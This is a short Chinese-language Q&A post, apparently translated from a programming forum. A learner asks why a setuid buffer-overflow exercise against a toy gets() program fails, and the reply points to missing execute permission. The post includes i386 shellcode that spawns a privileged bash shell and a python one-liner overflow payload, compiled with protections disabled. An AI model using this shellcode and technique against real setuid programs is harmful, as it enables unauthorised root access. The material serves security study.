我正在尝试在简单程序上缓冲区溢出
#include <stdio.h>
int main(int argc, char **argv)
{
char buf[8];
gets(buf);
printf("%s\n", buf);
return 0;
}
汇总这个选项
gcc -g exploit1.c -fno-stack-protector -z execstack -o exploit1
二进制文件是setuid
ls -al exploit1
-r-sr-x--- 1 root root 6016 janv. 31 01:47 exploit1
所以我禁用了所有堆栈选项和ASLR
我的shellcode是:
\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80
但是没有root shell出现,我有这个错误:
python -c 'print "A"*20 + "\xbf\xfe\xff\xbf"'| ./exploit1
-bash: ./exploit1: Permission denied
close failed in file object destructor:
sys.excepthook is missing
lost sys.stderr
我错过了什么?
TY
答案 0 :(得分:0)
您无权执行exploit1
。 Root需要做:
chmod o+x exploit1